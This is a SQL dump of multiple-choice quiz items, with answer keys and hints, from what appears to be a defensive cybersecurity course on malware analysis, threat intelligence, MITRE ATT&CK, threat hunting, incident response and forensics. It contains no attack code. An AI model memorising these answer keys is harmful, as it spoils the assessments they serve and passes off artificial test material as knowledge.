(7020, 775, 'Does changing one byte in a file change its Hash?', 1, 'Yes, completely', 0, 'Avalanche effect.', '2025-12-29 13:38:32', '[\"Yes, completely\", \"No\", \"Only if it is a large file\", \"Maybe\"]'),
(7021, 775, 'What is a \"PDB Path\"?', 2, 'A debug path left by the compiler showing the attacker\'s folder structure', 0, 'Program Database path.', '2025-12-29 13:38:32', '[\"A database path\", \"A debug path left by the compiler showing the attacker\'s folder structure\", \"A public domain\", \"A protocol\"]'),
(7022, 775, 'If you see very few strings in a binary, it is likely...', 3, 'Packed or Obfuscated', 0, 'Packing hides text.', '2025-12-29 13:38:32', '[\"Clean\", \"Packed or Obfuscated\", \"Empty\", \"A text file\"]'),
(7023, 776, 'What is the safest way to analyze a suspicious file initially?', 1, 'Static Analysis', 0, 'No execution = Minimum risk.', '2025-12-29 13:38:32', '[\"Double click it\", \"Static Analysis\", \"Dynamic Analysis on your host\", \"Email it to a friend\"]'),
(7024, 776, 'Which hash algorithm is currently the industry standard for IOCs?', 2, 'SHA256', 0, 'Secure Hash Algorithm 256-bit.', '2025-12-29 13:38:32', '[\"MD5\", \"SHA256\", \"CRC32\", \"ROT13\"]'),
(7025, 776, 'What is a \"Sandbox\"?', 3, 'An isolated environment for safely running malware', 0, 'Isolation is key.', '2025-12-29 13:38:32', '[\"A playground\", \"An isolated environment for safely running malware\", \"A hacking tool\", \"A firewall\"]'),
(7026, 776, 'Dynamic Analysis observes...', 4, 'File behavior at runtime (Registry, Network, File system)', 0, 'Behavioral analysis.', '2025-12-29 13:38:32', '[\"Code structure\", \"File behavior at runtime (Registry, Network, File system)\", \"File size only\", \"Author name\"]'),
(7027, 776, 'If a file is \"Packed\", what must happen before it runs?', 5, 'It must unpack itself in memory', 0, 'Decompression/Decryption.', '2025-12-29 13:38:32', '[\"It must be deleted\", \"It must unpack itself in memory\", \"It must be compiled\", \"It must hold still\"]'),
(7028, 776, 'Which tool extracts readable text from a binary?', 6, 'strings', 0, 'The strings command.', '2025-12-29 13:38:32', '[\"strings\", \"grep\", \"cat\", \"ls\"]'),
(7029, 776, 'What does C2 stand for?', 7, 'Command & Control', 0, 'The server managing the botnet.', '2025-12-29 13:38:32', '[\"Command & Control\", \"Cool & Calm\", \"Computer 2\", \"Cyber Command\"]'),
(7030, 776, 'Why check a file hash on VirusTotal?', 8, 'To see if other vendors have already detected it', 0, 'Community intelligence.', '2025-12-29 13:38:32', '[\"To download the virus\", \"To see if other vendors have already detected it\", \"To delete the internet\", \"To hack Google\"]'),
(7031, 776, 'Pestudio is primarily used for...', 9, 'Static Analysis', 0, 'Analyzing PE headers/strings.', '2025-12-29 13:38:32', '[\"Dynamic Analysis\", \"Static Analysis\", \"Writing Reports\", \"Chatting\"]'),
(7032, 776, 'Ransomware typically does what?', 10, 'Encrypts files and demands payment', 0, 'Encryption for extortion.', '2025-12-29 13:38:32', '[\"Encrypts files and demands payment\", \"Steals passwords\", \"Mines crypto\", \"Shows ads\"]'),
(7033, 777, 'Which is an example of an IOC?', 1, 'A known malicious file hash', 0, 'Static evidence.', '2025-12-29 13:38:32', '[\"High CPU usage\", \"A known malicious file hash\", \"Slow network\", \"A user logging in\"]'),
(7034, 777, 'Which indicator focuses on \"Behavior\" and \"Intent\"?', 2, 'IOA', 0, 'Indicator of Attack.', '2025-12-29 13:38:32', '[\"IOC\", \"IOA\", \"URL\", \"IP\"]'),
(7035, 777, 'Which is harder for an attacker to change?', 3, 'Their Behavior/Tactics (IOA)', 0, 'Changing TTPs requires retraining.', '2025-12-29 13:38:32', '[\"Their IP address\", \"Their File Hash\", \"Their Behavior/Tactics (IOA)\", \"Their Domain\"]'),
(7036, 778, 'Can you verify TLP:RED intel with a third party?', 1, 'No - never', 0, 'Verified only with source.', '2025-12-29 13:38:32', '[\"Yes\", \"No - never\", \"Only if you trust them\", \"Maybe\"]'),
(7037, 778, 'Which TLP level allows sharing with the general public?', 2, 'CLEAR', 0, 'White/Clear = Public.', '2025-12-29 13:38:32', '[\"CLEAR\", \"GREEN\", \"AMBER\", \"RED\"]'),
(7038, 778, 'TLP:AMBER allows sharing with...', 3, 'Your organization and clients on need-to-know basis', 0, 'Restricted distribution.', '2025-12-29 13:38:32', '[\"The internet\", \"Your organization and clients on need-to-know basis\", \"Only 1 person\", \"Anyone\"]'),
(7039, 779, 'What does STIX stand for?', 1, 'Structured Threat Information Expression', 0, 'Standard language for CTI.', '2025-12-29 13:38:32', '[\"Structured Threat Information Expression\", \"Standard Text Info X\", \"Secure Threat Intel Xchange\", \"Simple Text Index\"]'),
(7040, 779, 'What is TAXII?', 2, 'The transport mechanism for STIX', 0, 'Trusted Automated Exchange of Intelligence Information.', '2025-12-29 13:38:32', '[\"The transport mechanism for STIX\", \"A cab service\", \"A file format\", \"A virus\"]');
INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(7041, 779, 'Which is an IOC?', 3, '192.168.1.1 (C2 IP)', 0, 'Artifact.', '2025-12-29 13:38:32', '[\"192.168.1.1 (C2 IP)\", \"Port Scanning Activity\", \"Pass the Hash Attack\", \"Phishing Methodology\"]'),
(7042, 779, 'Which is an IOA?', 4, 'Cred Dumping from LSASS', 0, 'Behavior.', '2025-12-29 13:38:32', '[\"File Hash\", \"Cred Dumping from LSASS\", \"Domain Name\", \"Email Subject\"]'),
(7043, 779, 'TLP:RED means...', 5, 'Not for disclosure, restricted to specific recipients', 0, 'Most restrictive.', '2025-12-29 13:38:32', '[\"Share with everyone\", \"Share with community\", \"Not for disclosure, restricted to specific recipients\", \"Share with Org\"]'),
(7044, 779, 'If you receive TLP:GREEN info, can you post it on Twitter?', 6, 'No', 0, 'Twitter = Public (CLEAR). Green is Community.', '2025-12-29 13:38:32', '[\"Yes\", \"No\", \"Only if anonymous\", \"If its cool\"]'),
(7045, 779, 'Why use Standards like STIX?', 7, 'To allow automated machine-to-machine sharing', 0, 'Interoperability.', '2025-12-29 13:38:32', '[\"To make things complicated\", \"To allow automated machine-to-machine sharing\", \"To encrypt data\", \"To hide info\"]'),
(7046, 779, 'David Bianco\'s Pyramid of Pain places what at the top (Hardest for attacker)?', 8, 'TTPs (Tactics, Techniques, Procedures)', 0, 'Behavior is hardest to change.', '2025-12-29 13:38:32', '[\"Hash Values\", \"IP Addresses\", \"TTPs (Tactics, Techniques, Procedures)\", \"Domain Names\"]'),
(7047, 779, 'Who manages the TLP standard?', 9, 'FIRST.org', 0, 'Forum of Incident Response and Security Teams.', '2025-12-29 13:38:32', '[\"FIRST.org\", \"Google\", \"Microsoft\", \"Nobody\"]'),
(7048, 779, 'An IP Address in the Pyramid of Pain is...', 10, 'Easy to change (Low Pain)', 0, 'Attacker just rents a new VPS.', '2025-12-29 13:38:32', '[\"Easy to change (Low Pain)\", \"Impossible to change\", \"Tough\", \"Annoying\"]'),
(7049, 780, 'In MITRE ATT&CK, \"Initial Access\" is a...', 1, 'Tactic (Goal)', 0, 'The \'Why\'.', '2025-12-29 13:38:32', '[\"Tactic (Goal)\", \"Technique (Method)\", \"Procedure\", \"Tool\"]'),
(7050, 780, 'In MITRE ATT&CK, \"Spearphishing Attachment\" is a...', 2, 'Technique', 0, 'The \'How\'.', '2025-12-29 13:38:32', '[\"Tactic\", \"Technique\", \"Procedure\", \"Matrix\"]'),
(7051, 780, 'What does the matrix help defenders do?', 3, 'Map defenses against real-world threats', 0, 'Gap analysis.', '2025-12-29 13:38:32', '[\"Map defenses against real-world threats\", \"Install virus\", \"Hack back\", \"Guess passwords\"]'),
(7052, 781, 'What is the Navigator used for?', 1, 'Visualizing/Heatmapping the matrix', 0, 'Annotating layers.', '2025-12-29 13:38:32', '[\"Visualizing/Heatmapping the matrix\", \"Browsing the web\", \"GPS\", \"Chatting\"]'),
(7053, 781, 'If you color techniques used by Ransomware red, you are doing...', 2, 'Threat Modeling / Emulation Planning', 0, 'Visualizing the adversary.', '2025-12-29 13:38:32', '[\"Threat Modeling / Emulation Planning\", \"Defensive Coverage\", \"Coding\", \"Patching\"]'),
(7054, 781, 'Where can you access Navigator?', 3, 'Github / MITRE Website', 0, 'It is an open web app.', '2025-12-29 13:38:32', '[\"Github / MITRE Website\", \"Dark Web\", \"Only offline\", \"App Store\"]'),
(7055, 782, 'What is a \"Tactic\" in ATT&CK?', 1, 'The adversary\'s technical goal (The Why)', 0, 'High level objective.', '2025-12-29 13:38:32', '[\"The adversary\'s technical goal (The Why)\", \"The specific command\", \"The tool used\", \"The IP address\"]'),
(7056, 782, 'What is a \"Technique\"?', 2, 'How the goal is achieved', 0, 'The method.', '2025-12-29 13:38:32', '[\"How the goal is achieved\", \"The goal itself\", \"The date of attack\", \"The victim\"]'),
(7057, 782, '\"Persistence\" is an example of...', 3, 'Tactic', 0, 'Staying in the system.', '2025-12-29 13:38:32', '[\"Tactic\", \"Technique\", \"Software\", \"Actor\"]'),
(7058, 782, '\"Registry Run Keys\" is an example of...', 4, 'Technique', 0, 'A way to achieve Persistence.', '2025-12-29 13:38:32', '[\"Technique\", \"Tactic\", \"Procedure\", \"MITRE\"]'),
(7059, 782, 'What is \"Sub-Technique\"?', 5, 'A more specific implementation of a technique', 0, 'e.g., T1059.001 (PowerShell) under Command Scripting.', '2025-12-29 13:38:32', '[\"A more specific implementation of a technique\", \"A smaller tactic\", \"A tool\", \"A user\"]'),
(7060, 782, 'Why is Mapping to MITRE important?', 6, 'It provides a common language for defenders and red teams', 0, 'Standardization.', '2025-12-29 13:38:32', '[\"It provides a common language for defenders and red teams\", \"It is fun\", \"It is required for windows updates\", \"It prevents all hacks\"]'),
(7061, 782, 'Who maintains ATT&CK?', 7, 'MITRE Corp', 0, 'Federally Funded R&D Center.', '2025-12-29 13:38:32', '[\"MITRE Corp\", \"Microsoft\", \"Google\", \"FBI\"]'),
(7062, 782, 'What does the \"Enterprise\" matrix cover?', 8, 'Windows, Linux, macOS, Cloud networks', 0, 'Standard IT networks.', '2025-12-29 13:38:32', '[\"Windows, Linux, macOS, Cloud networks\", \"Mobile phones only\", \"Satellites\", \"Cars\"]'),
(7063, 782, 'Can Navigator export layers?', 9, 'Yes, as JSON or SVG', 0, 'For sharing.', '2025-12-29 13:38:32', '[\"Yes, as JSON or SVG\", \"No\", \"Only PDF\", \"Only PNG\"]'),
(7064, 782, 'ATT&CK is based on...', 10, 'Real-world observations', 0, 'Evidence based.', '2025-12-29 13:38:32', '[\"Real-world observations\", \"Theoretical hacks\", \"Sci-fi movies\", \"Random guesses\"]'),
(7065, 783, 'What is the primary difference between SOC and Threat Hunting?', 1, 'SOC is Reactive, Hunting is Proactive', 0, 'Alerts vs Search.', '2025-12-29 13:38:32', '[\"SOC is Reactive, Hunting is Proactive\", \"SOC works at night\", \"Hunting uses guns\", \"No difference\"]'),
(7066, 783, 'What does \"Assume Breach\" mean?', 2, 'Assume the network is compromised and look for evidence', 0, 'Proactive stance.', '2025-12-29 13:38:32', '[\"Assume the network is compromised and look for evidence\", \"Breach the network yourself\", \"Assume security is perfect\", \"Give up\"]'),
(7067, 783, 'What metric does Hunting aim to reduce?', 3, 'Dwell Time', 0, 'Time undetected.', '2025-12-29 13:38:32', '[\"Dwell Time\", \"Cost\", \"False Positives\", \"Ping\"]'),
(7068, 784, 'In \"Stacking\", where is the malicious activity usually found?', 1, 'The Long Tail (Least Frequent)', 0, 'Malware is the anomaly.', '2025-12-29 13:38:32', '[\"The Long Tail (Least Frequent)\", \"The Short Stack (Most Frequent)\", \"The Middle\", \"Everywhere\"]'),
(7069, 784, 'What is \"Stacking\" also known as?', 2, 'Frequency Analysis', 0, 'Counting stats.', '2025-12-29 13:38:32', '[\"Frequency Analysis\", \"Stack Overflow\", \"Heap Spray\", \"Sorting\"]'),
(7070, 784, 'Clustering helps to...', 3, 'Identify outliers by grouping similar items', 0, 'Finding the odd one out.', '2025-12-29 13:38:32', '[\"Identify outliers by grouping similar items\", \"Encrypt data\", \"Delete logs\", \"Generate alerts\"]'),
(7071, 785, 'Defining a Hypothesis is the first step of...', 1, 'A Structured Hunt', 0, 'Hypothesis-Driven Hunting.', '2025-12-29 13:38:32', '[\"A Structured Hunt\", \"Incident Response\", \"Malware Analysis\", \"Patching\"]'),
(7072, 785, 'Which is a valid Hypothesis?', 2, 'APT29 uses PowerShell for lateral movement', 0, 'Specific and testable proposition.', '2025-12-29 13:38:32', '[\"APT29 uses PowerShell for lateral movement\", \"I will find bad stuff\", \"PowerShell is bad\", \"Updates are essential\"]'),
(7073, 785, 'If you stack \"User Agents\", which one is fast investigation?', 3, 'Python-urllib/2.7 (Count: 1)', 0, 'Low count + suspicious string = Priority.', '2025-12-29 13:38:32', '[\"Mozilla/5.0 (Windows NT 10.0)... (Count: 5000)\", \"Python-urllib/2.7 (Count: 1)\", \"Chrome/90 (Count: 4000)\", \"Edge/89 (Count: 2000)\"]'),
(7074, 785, 'What separates Hunting from Incident Response?', 4, 'Hunting looks for unknown threats; IR handles known incidents', 0, 'Discovery vs Reaction.', '2025-12-29 13:38:32', '[\"Hunting looks for unknown threats; IR handles known incidents\", \"Hunting is faster\", \"IR is cheaper\", \"Hunting is automated\"]'),
(7075, 785, 'The \"Baseline\" is...', 5, 'Known Good behavior', 0, 'You need to know what is Normal to find what is Abnormal.', '2025-12-29 13:38:32', '[\"Known Good behavior\", \"Known Bad behavior\", \"A firewall rule\", \"A password\"]'),
(7076, 785, 'What is a \"Pivot\"?', 6, 'Moving from one data point to another related one', 0, 'e.g., Domain -> IP -> Other Domains.', '2025-12-29 13:38:32', '[\"Moving from one data point to another related one\", \"Turning around\", \"Deleting a row\", \"Closing a ticket\"]'),
(7077, 785, 'Checking for \"Beaconing\" traffic is analyzing...', 7, 'Regular interval communications (Heartbeats)', 0, 'C2 callbacks.', '2025-12-29 13:38:32', '[\"Regular interval communications (Heartbeats)\", \"Large file downloads\", \"SQL Injection\", \"Password failures\"]'),
(7078, 785, 'Least Frequency Analysis is effective for finding...', 8, 'Rare events', 0, 'Outliers.', '2025-12-29 13:38:32', '[\"Rare events\", \"Common events\", \"System files\", \"Updates\"]'),
(7079, 785, 'A \"Hunt\" should always result in...', 9, 'Ideally a detection rule or improved visibility', 0, 'Improving the security posture regardless of finding a breach.', '2025-12-29 13:38:32', '[\"Ideally a detection rule or improved visibility\", \"A verified breach\", \"Firing someone\", \"Installing an antivirus\"]'),
(7080, 785, 'Assume Breach implies...', 10, 'Defenses can fail', 0, 'Accepting risk.', '2025-12-29 13:38:32', '[\"Defenses can fail\", \"Defenses act perfectly\", \"Hackers are lazy\", \"Firewalls stop everything\"]'),
(7081, 786, 'What involves confirming multiple feeds reporting the same indicator?', 1, 'Deduplication/Correlation', 0, 'Merging duplicates.', '2025-12-29 13:38:32', '[\"Deduplication/Correlation\", \"Encryption\", \"Deletion\", \"Scanning\"]'),
(7082, 786, 'Why \"Enrich\" an indicator?', 2, 'To add context (e.g., GeoIP, ASM Info, Rep Score)', 0, 'Context aids decision making.', '2025-12-29 13:38:32', '[\"To add context (e.g., GeoIP, ASM Info, Rep Score)\", \"To make it expensive\", \"To encrypt it\", \"To hide it\"]'),
(7083, 786, 'Pushing IOCs to a SIEM is part of...', 3, 'Integration / Dissemination', 0, 'Actioning the intel.', '2025-12-29 13:38:32', '[\"Integration / Dissemination\", \"Collection\", \"Planning\", \"Analysis\"]'),
(7084, 787, 'In MISP, what represents a \"Threat Actor\" or \"Mitre Technique\"?', 1, 'Galaxy / Tag', 0, 'Contextual metadata.', '2025-12-29 13:38:32', '[\"Galaxy / Tag\", \"Attribute\", \"Event\", \"User\"]'),
(7085, 787, 'The top-level container in MISP is an...', 2, 'Event', 0, 'Events contain attributes.', '2025-12-29 13:38:32', '[\"Event\", \"Attribute\", \"Object\", \"Server\"]'),
(7086, 787, 'MISP allows you to...', 3, 'Share and Sync intelligence with other organizations', 0, 'Community sharing.', '2025-12-29 13:38:32', '[\"Share and Sync intelligence with other organizations\", \"Scan viruses\", \"Hack websites\", \"Manage passwords\"]'),
(7087, 788, 'Which is a popular Graph-based TIP?', 1, 'OpenCTI', 0, 'Knowledge Graph platform.', '2025-12-29 13:38:32', '[\"OpenCTI\", \"Notepad++\", \"Calculator\", \"Outlook\"]'),
(7088, 788, 'What is the benefit of a Knowledge Graph (OpenCTI)?', 2, 'Visualizing complex relationships between entities', 0, 'Graph theory.', '2025-12-29 13:38:32', '[\"Visualizing complex relationships between entities\", \"Saving disk space\", \"Faster typing\", \"Cheaper hosting\"]'),
(7089, 788, 'Why \"Normalize\" data in a TIP?', 3, 'To store diverse feeds in a consistent format', 0, 'Standardization.', '2025-12-29 13:38:32', '[\"To store diverse feeds in a consistent format\", \"To delete it\", \"To encrypt it\", \"To hide source\"]'),
(7090, 788, 'If you have zero budget, which TIP is best?', 4, 'MISP (Open Source)', 0, 'Free and open source.', '2025-12-29 13:38:32', '[\"MISP (Open Source)\", \"Splunk Enterprise\", \"Recorded Future\", \"CrowdStrike\"]'),
(7091, 788, 'What is an \"IoC Decay\" or \"Expiration\"?', 5, 'Retiring an indicator when it is no longer malicious', 0, 'Lifecycle management.', '2025-12-29 13:38:32', '[\"Retiring an indicator when it is no longer malicious\", \"Deleting files\", \"Password expiry\", \"Server crash\"]'),
(7092, 788, 'Enrichment Connectors typically query...', 6, 'External APIs (VirusTotal, AlienVault)', 0, 'Third party data.', '2025-12-29 13:38:32', '[\"External APIs (VirusTotal, AlienVault)\", \"Local files\", \"Printers\", \"Keyboards\"]'),
(7093, 788, 'Sharing an Event in MISP creates a...', 7, 'Distributed warning to the community', 0, 'Collective defense.', '2025-12-29 13:38:32', '[\"Distributed warning to the community\", \"Security breach\", \"Firewall rule\", \"False positive\"]'),
(7094, 788, 'Can a TIP automate firewall blocking?', 8, 'Yes, via integration/orchestration', 0, 'SOAR capabilities.', '2025-12-29 13:38:32', '[\"Yes, via integration/orchestration\", \"No, never\", \"Only if manual\", \"Only on Tuesdays\"]'),
(7095, 788, 'Attributes in MISP can be marked as...', 9, 'to_ids (Actionable for IDS)', 0, 'Flag indicating if it should be exported to security controls.', '2025-12-29 13:38:32', '[\"to_ids (Actionable for IDS)\", \"Private\", \"Deleted\", \"Fun\"]'),
(7096, 788, 'STIX 2.0 uses what format?', 10, 'JSON', 0, 'Modern standard.', '2025-12-29 13:38:32', '[\"JSON\", \"XML\", \"CSV\", \"Binary\"]'),
(7097, 789, 'What is BLUF?', 1, 'Bottom Line Up Front', 0, 'Conclusion first.', '2025-12-29 13:38:32', '[\"Bottom Line Up Front\", \"Blue Light\", \"Bottom Left\", \"Big Line\"]'),
(7098, 789, 'Who is the audience for a \"Strategic\" report?', 2, 'Executives', 0, 'Decision makers.', '2025-12-29 13:38:32', '[\"Executives\", \"SOC Analysts\", \"Engineers\", \"Hackers\"]'),
(7099, 789, 'Why use \"Estimative Language\"?', 3, 'To standardize uncertainty and confidence', 0, 'Clarity of probability.', '2025-12-29 13:38:32', '[\"To standardize uncertainty and confidence\", \"To sound smart\", \"To confuse people\", \"To avoid liability\"]'),
(7100, 790, 'Which statement uses proper Estimative Language?', 1, 'It is LIKELY that APT29 is responsible', 0, 'Standard term.', '2025-12-29 13:38:32', '[\"It is LIKELY that APT29 is responsible\", \"Maybe it is APT29\", \"I believe it is APT29\", \"It is 100% APT29\"]'),
(7101, 790, 'Strategic Reports should focus on...', 2, 'Business Risk and Impact', 0, 'Executive view.', '2025-12-29 13:38:32', '[\"Business Risk and Impact\", \"IP Addresses\", \"Malware code\", \"Logs\"]'),
(7102, 790, 'Tactical Reports should focus on...', 3, 'Actionable IOCs and Rules', 0, 'Defender view.', '2025-12-29 13:38:32', '[\"Actionable IOCs and Rules\", \"Financial loss\", \"Geopolitics\", \"Trends\"]'),
(7103, 790, 'What is \"Words of Estimative Probability\" (WEP)?', 4, 'Standard terms to convey likelihood', 0, 'Intelligence standard.', '2025-12-29 13:38:32', '[\"Standard terms to convey likelihood\", \"A spell check tool\", \"A thesaurus\", \"A translation\"]'),
(7104, 790, 'A report with 50 pages of technical details should usually include...', 5, 'An Executive Summary (BLUF)', 0, 'For the busy reader.', '2025-12-29 13:38:32', '[\"An Executive Summary (BLUF)\", \"A poem\", \"No summary\", \"Pictures of cats\"]'),
(7105, 790, 'Dissemination via API is best for...', 6, 'Speed and Automation', 0, 'Machine consumption.', '2025-12-29 13:38:32', '[\"Speed and Automation\", \"Executives\", \"Legal Reviews\", \"Press Releases\"]'),
(7106, 790, 'Feedback in the intel cycle ensures...', 7, 'Relevance and Improvement', 0, 'Quality control.', '2025-12-29 13:38:32', '[\"Relevance and Improvement\", \"Payment\", \"Deletion\", \"Encryption\"]'),
(7107, 790, 'If you have Low Confidence, you should...', 8, 'State it clearly', 0, 'Honesty in analysis.', '2025-12-29 13:38:32', '[\"State it clearly\", \"Lie\", \"Say High Confidence\", \"Say nothing\"]'),
(7108, 790, 'Intelligence Requirements (IRs) drive the...', 9, 'Entire Intelligence Cycle', 0, 'The starting point.', '2025-12-29 13:38:32', '[\"Entire Intelligence Cycle\", \"Lunch menu\", \"Server updates\", \"HR policy\"]'),
(7109, 790, 'Which is NOT a goal of reporting?', 10, 'To confuse the reader', 0, 'Clarity is King.', '2025-12-29 13:38:32', '[\"To confuse the reader\", \"To inform decisions\", \"To warn of threats\", \"To document findings\"]'),
(7110, 791, 'Which phase of the incident response lifecycle involves creating an Incident Response Plan (IRP) and deploying security tools?', 1, 'Preparation', 0, 'This happens before an incident ever occurs.', '2026-03-09 22:28:54', '[\"Eradication\",\"Containment\",\"Identification\",\"Preparation\"]'),
(7111, 791, 'During which phase do you isolate an infected endpoint from the corporate network?', 2, 'Containment', 0, 'You are trying to stop the spread of the infection.', '2026-03-09 22:28:54', '[\"Lessons Learned\",\"Containment\",\"Recovery\",\"Identification\"]'),
(7112, 791, 'What does the acronym PICERL stand for? (Enter the 6 words separated by spaces)', 3, 'Preparation Identification Containment Eradication Recovery Lessons Learned', 0, 'P I C E R LL', '2026-03-09 22:28:54', '[\"Prepare Investigate Contain Eradicate Recover Learn\",\"Protect Identify Contain Erase Restore Learn\",\"Plan Identify Contain Eradicate Recover Learn\",\"Preparation Identification Containment Eradication Recovery Lessons Learned\"]'),
(7113, 791, 'In which phase do you patch the vulnerability that the attacker originally exploited?', 4, 'Eradication', 0, 'Removing the root cause and the malware itself.', '2026-03-09 22:28:54', '[\"Containment\",\"Identification\",\"Recovery\",\"Eradication\"]'),
(7114, 791, 'Reviewing SIEM alerts to determine if an event is a false positive or a true security breach happens in which phase?', 5, 'Identification', 0, 'You are detecting and confirming the threat.', '2026-03-09 22:28:54', '[\"Preparation\",\"Lessons Learned\",\"Containment\",\"Identification\"]'),
(7115, 792, 'Which branch of digital forensics focuses on analyzing packets to track data exfiltration or Command and Control traffic?', 1, 'Network Forensics', 0, 'Analyzing traffic traversing wires or airwaves.', '2026-03-09 22:28:54', '[\"Disk Forensics\",\"Network Forensics\",\"Memory Forensics\",\"Mobile Forensics\"]'),
(7116, 792, 'Which branch of forensics analyzes running processes and decrypted passwords that would be lost if the machine was rebooted?', 2, 'Memory Forensics', 0, 'Also known as RAM forensics.', '2026-03-09 22:28:54', '[\"Network Forensics\",\"Disk Forensics\",\"Mobile Forensics\",\"Memory Forensics\"]'),
(7117, 792, 'Which forensics tool is considered the industry standard for Memory Forensics? (Mentioned in the reading)', 3, 'Volatility', 0, 'Starts with V.', '2026-03-09 22:28:54', '[\"Autopsy\",\"Wireshark\",\"Volatility\",\"EnCase\"]'),
(7118, 792, 'Taking a bit-by-bit exact copy of a hard drive is primarily associated with which branch of forensics?', 4, 'Disk Forensics', 0, 'Also known as Computer Forensics.', '2026-03-09 22:28:54', '[\"Memory Forensics\",\"Disk Forensics\",\"Mobile Forensics\",\"Network Forensics\"]'),
(7119, 792, 'What is the primary conflict between Business Operations and the Forensics team during an incident?', 5, 'Speed vs Preservation', 0, 'The business wants to go fast, forensics wants to save evidence.', '2026-03-09 22:28:54', '[\"Open Source vs Commercial Tools\",\"Speed vs Preservation\",\"Cost vs Quality\",\"Internal vs External Threat\"]'),
(7120, 793, 'What is the chronological, written record detailing the control and transfer of evidence called?', 1, 'Chain of Custody', 0, 'It proves who had the evidence and when.', '2026-03-09 22:28:54', '[\"Evidence Ledger\",\"Incident Report\",\"Chain of Custody\",\"Writ of Possession\"]'),
(7121, 793, 'What mathematical technique is used to create a digital fingerprint of a file to prove it has not been altered?', 2, 'Hashing', 0, 'Examples include MD5 or SHA-256.', '2026-03-09 22:28:54', '[\"Encoding\",\"Compression\",\"Encryption\",\"Hashing\"]'),
(7122, 793, 'If you change a single pixel in an image file, will the SHA-256 hash of that file remain the same or change?', 3, 'Change', 0, 'Even the smallest alteration completely changes the output.', '2026-03-09 22:28:54', '[\"Remain the same\",\"It depends on the image format\",\"Change\",\"SHA-256 ignores pixels\"]'),
(7123, 793, 'What device or software is used to ensure that a suspect\'s hard drive is not accidentally modified during the imaging process?', 4, 'Write Blocker', 0, 'It blocks write commands but allows read commands.', '2026-03-09 22:28:54', '[\"Firewall\",\"Disk Wiper\",\"Write Blocker\",\"Read/Write Head\"]'),
(7124, 793, 'If the Chain of Custody is broken, what is the most likely consequence in a legal proceeding?', 5, 'Inadmissible', 0, 'The evidence cannot be used in court.', '2026-03-09 22:28:54', '[\"Inadmissible\",\"The forensic analyst is fined\",\"The judge must review it personally\",\"The evidence becomes stronger\"]'),
(7125, 794, 'Which forensic principle states that \"Every contact leaves a trace\"?', 1, 'Locards Exchange Principle', 0, 'Named after Dr. Edmond Locard.', '2026-03-09 22:28:54', '[\"Order of Volatility\",\"Locards Exchange Principle\",\"Heisenberg Uncertainty Principle\",\"Principle of Least Privilege\"]'),
(7126, 794, 'According to the Order of Volatility, which should be collected FIRST: the contents of the Hard Drive or the System Memory (RAM)?', 2, 'System Memory', 0, 'It is more volatile than persistent storage.', '2026-03-09 22:28:54', '[\"System Memory\",\"Hard Drive\",\"They should be collected simultaneously\",\"It does not matter\"]'),
(7127, 794, 'If an attacker runs a fileless malware that only exists in active memory, what happens to that malware if you reboot the server?', 3, 'It is destroyed', 0, 'RAM requires power to maintain its data.', '2026-03-09 22:28:54', '[\"It is destroyed\",\"It migrates to the hard drive\",\"It connects to the C2 server\",\"It hides in the boot sector\"]'),
(7128, 794, 'Which is the LEAST volatile source of evidence in the standard order of volatility: RAM, Hard Drive, or Archival Media (Backups)?', 4, 'Archival Media', 0, 'Backups last for years and don\'t change.', '2026-03-09 22:28:54', '[\"RAM\",\"Archival Media\",\"Network Logs\",\"Hard Drive\"]'),
(7129, 794, 'In modern incident response, why is it generally a bad idea to \"pull the power plug\" on a compromised server immediately? (One word related to what you lose)', 5, 'RAM', 0, 'You lose volatile memory.', '2026-03-09 22:28:54', '[\"RAM\",\"Network Logs\",\"Hard Drive\",\"CPU\"]'),
(7130, 795, 'When you first arrive on the scene of a powered-off suspect laptop, what should your immediate first step be?', 1, 'Do not turn it on', 0, 'Booting changes file timestamps.', '2026-03-09 22:28:54', '[\"Do not turn it on\",\"Turn it on to see if it works\",\"Pull the battery out\",\"Attempt to guess the password\"]'),
(7131, 795, 'Why is it dangerous to attempt guessing the password on a locked smartphone or BitLocker-encrypted drive?', 2, 'It may wipe the encryption keys', 0, 'Security features protect the data.', '2026-03-09 22:28:54', '[\"It alerts the attacker\",\"It uses up the battery too fast\",\"It may wipe the encryption keys\",\"It creates unnecessary log files\"]'),
(7132, 795, 'If you find a mobile phone that is suspected to be involved in a crime, what is the best way to prevent the suspect from remotely wiping it?', 3, 'Place it in a Faraday bag', 0, 'Block all radio signals.', '2026-03-09 22:28:54', '[\"Turn it off immediately\",\"Place it in a Faraday bag\",\"Uninstall all apps\",\"Plug it into a charger\"]'),
(7133, 795, 'Why should you avoid using the built-in tools (like Task Manager) on a compromised machine during a live response?', 4, 'They may be compromised by a rootkit', 0, 'You cannot trust the OS anymore.', '2026-03-09 22:28:54', '[\"They do not show network connections\",\"They are not fast enough\",\"They may be compromised by a rootkit\",\"They take up too much RAM\"]'),
(7134, 795, 'What should you do before disconnecting any cables from the back of a suspect\'s computer tower?', 5, 'Take photographs', 0, 'Document the original state.', '2026-03-09 22:28:54', '[\"Check for malware\",\"Wipe the hard drive\",\"Write down the MAC address\",\"Take photographs\"]'),
(7135, 796, 'Which type of acquisition copies only the files visible to the operating system, missing deleted data?', 1, 'Logical', 0, 'It uses the OS logic.', '2026-03-09 22:28:54', '[\"Bit-stream\",\"Physical\",\"Raw\",\"Logical\"]'),
(7136, 796, 'Which type of acquisition reads the raw 1s and 0s directly from the hardware, capturing deleted files in unallocated space?', 2, 'Physical', 0, 'Also known as a bit-stream image.', '2026-03-09 22:28:54', '[\"Volume\",\"Physical\",\"Targeted\",\"Logical\"]'),
(7137, 796, 'What device intercepts commands to prevent a forensic workstation from accidentally altering a suspect\'s hard drive?', 3, 'Write Blocker', 0, 'It blocks write operations.', '2026-03-09 22:28:54', '[\"Write Blocker\",\"Read-Only Memory\",\"Hardware Firewall\",\"Read Blocker\"]'),
(7138, 796, 'Which forensic image format is the industry standard that includes compression, metadata, and built-in hashes?', 4, 'E01', 0, 'Associated with EnCase.', '2026-03-09 22:28:54', '[\"RAW\",\"DD\",\"ISO\",\"E01\"]'),
(7139, 796, 'If you plug a suspect\'s Windows hard drive directly into another Windows machine without protection, what happens to the evidence?', 5, 'It is altered', 0, 'Windows mounts it automatically.', '2026-03-09 22:28:54', '[\"It is altered\",\"Nothing happens\",\"It is encrypted\",\"It copies itself\"]'),
